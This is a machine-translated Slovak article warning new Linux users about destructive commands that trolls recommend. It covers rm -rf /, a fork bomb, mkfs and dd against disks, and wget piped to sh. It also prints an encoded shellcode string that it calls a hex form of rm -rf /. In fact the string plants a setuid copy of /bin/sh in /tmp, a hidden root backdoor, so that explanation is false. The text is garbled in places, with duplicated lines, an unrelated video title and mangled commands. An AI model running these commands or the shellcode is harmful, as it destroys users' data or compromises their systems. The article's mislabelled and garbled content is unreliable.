8 Smrteľné príkazy Nikdy by ste nemali používať Linux

Obsah:

8 Smrteľné príkazy Nikdy by ste nemali používať Linux
8 Smrteľné príkazy Nikdy by ste nemali používať Linux

Video: 8 Smrteľné príkazy Nikdy by ste nemali používať Linux

Video: 8 Smrteľné príkazy Nikdy by ste nemali používať Linux
Video: How to Logout From Gmail Account on iPhone 14 Plus - Remove Gmail Account - YouTube 2024, Apríl
Anonim
Príkazy terminálu Linuxu sú silné a Linux vás nepotrebuje na potvrdenie, ak spustíte príkaz, ktorý naruší váš systém. Nie je nezvyčajné vidieť trolls on-line, ktorí odporúčajú novým užívateľom Linuxov spustiť tieto príkazy ako vtip.
Príkazy terminálu Linuxu sú silné a Linux vás nepotrebuje na potvrdenie, ak spustíte príkaz, ktorý naruší váš systém. Nie je nezvyčajné vidieť trolls on-line, ktorí odporúčajú novým užívateľom Linuxov spustiť tieto príkazy ako vtip.

Učenie príkazov, ktoré by ste nemali spustiť, vám môžu pomôcť chrániť vás pred trolls a zároveň zvýšiť vaše chápanie toho, ako funguje Linux. Toto nie je vyčerpávajúci sprievodca a príkazy tu môžu byť remixované rôznymi spôsobmi.

Upozorňujeme, že mnohé z týchto príkazov budú nebezpečné iba vtedy, ak budú predpísané sudo na Ubuntu - nebudú fungovať inak. Na iných distribuciách Linuxu musí byť väčšina príkazov spustená ako root.

rm -rf / - Odstráni všetko!

Príkaz rm -rf / odstráni všetko možné, vrátane súborov na pevnom disku a súborov na pripojených zariadeniach s vymeniteľnými médiami. Tento príkaz je pochopiteľnejší, ak je rozdelený:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux bude s radosťou poslúchať tento príkaz a odstrániť všetko bez toho, aby vás vyzval, takže buďte opatrní pri jeho použití! Príkaz rm možno použiť aj inými nebezpečnými spôsobmi - rm -rf ~ by odstránili všetky súbory vo vašom domovskom priečinku, zatiaľ čo rm -rf. * by odstránili všetky vaše konfiguračné súbory.

Hodina, lekcia: Dávajte si pozor rm -rf.

Skryté rm -rf /

Tu je ďalší útržok kódu, ktorý sa nachádza po celom webe:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Toto je hex verzia rm -rf / vykonanie tohto príkazu by zničil vaše súbory rovnako ako keby ste spustili rm -rf /.

Hodina, lekcia: Nepoužívajte divne vyzerajúce, zjavne skryté príkazy, ktoré nerozumiete.

: () {: |: &};: - Vidlicová bomba

Nasledujúci riadok je jednoducho vyzerajúci, ale nebezpečný bash funkcia:

:(){:|: &};:

Tento krátky riadok definuje funkciu shell, ktorá vytvára nové kópie. Proces sa neustále replikuje a jeho kópie sa nepretržite replikujú a rýchlo zaberajú celý čas a pamäť procesora. Môže to spôsobiť zmrazenie počítača. Je to v podstate útok na popretie služby.

Hodina, lekcia: Funkcie basov sú silné, dokonca aj veľmi krátke.

Image
Image

mkfs.ext4 / dev / sda1 - Formáty pevného disku

mkfs.ext4 / dev / sda1príkaz je jednoduchý na pochopenie:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Súhrnne môže byť tento príkaz ekvivalentný bežiacemu formátu c: v systéme Windows - vymaže súbory na vašom prvom oddieli a nahradí ich novým systémom súborov.

Tento príkaz môže prísť aj v iných formách - mkfs.ext3 / dev / sdb2 by formátoval druhý oddiel na druhom pevnom disku s súborovým systémom ext3.

Hodina, lekcia: Dbajte na spustenie príkazov priamo na zariadeniach pevného disku, ktoré začínajú na / dev / sd.

command> / dev / sda - píše priamo na pevný disk

príkaz> dev / sda line pracuje podobne - spúšťa príkaz a odošle výstup tohto príkazu priamo na váš prvý pevný disk, zapíše údaje priamo na pevný disk a poškodí váš súborový systém.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Hodina, lekcia: Ako je uvedené vyššie, dajte si pozor na spustenie príkazov, ktoré zahŕňajú zariadenia pevného disku začínajúce na / dev / sd.

dd if = / dev / random of = / dev / sda - Nahrávanie nevyžiadanej pošty na pevný disk

dd if = / dev / random of = / dev / sda line tiež vymaže údaje na jednom z vašich pevných diskov.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Hodina, lekcia: dd kopíruje údaje z jedného miesta do druhého, čo môže byť nebezpečné, ak kopírujete priamo na zariadenie.

Image
Image

mv ~ / dev / null - presunie váš domovský adresár do čiernej diery

/ dev / null je ďalšia špeciálna poloha - presunutie niečoho na / dev / null je to isté ako jeho zničenie. Myslite na / dev / null ako čiernu dieru. V podstate, mv ~ / dev / null odosiela všetky vaše osobné súbory do čiernej diery.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Hodina, lekcia: ~ Znak predstavuje vašu domovskú zložku a presunutie vecí na / dev / null ich zničí.

wget https://example.com/something -O - | sh - Sťahuje a spúšťa skript

Vyššie uvedený riadok preberá skript z webu a pošle ho na sh, ktorý vykoná obsah skriptu. To môže byť nebezpečné, ak si nie ste istí, čo je skript, alebo ak neveríte jeho zdroju - nespúšťajte nedôveryhodné skripty.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Hodina, lekcia: Neťahajte a nespúšťajte nedôveryhodné skripty z webu, dokonca ani s príkazom.

Poznáte všetky ostatné nebezpečné príkazy, ktoré by noví používatelia Linuxu (a skúsení) nemali používať? Zanechajte komentár a podeľte sa o ne!

Odporúča: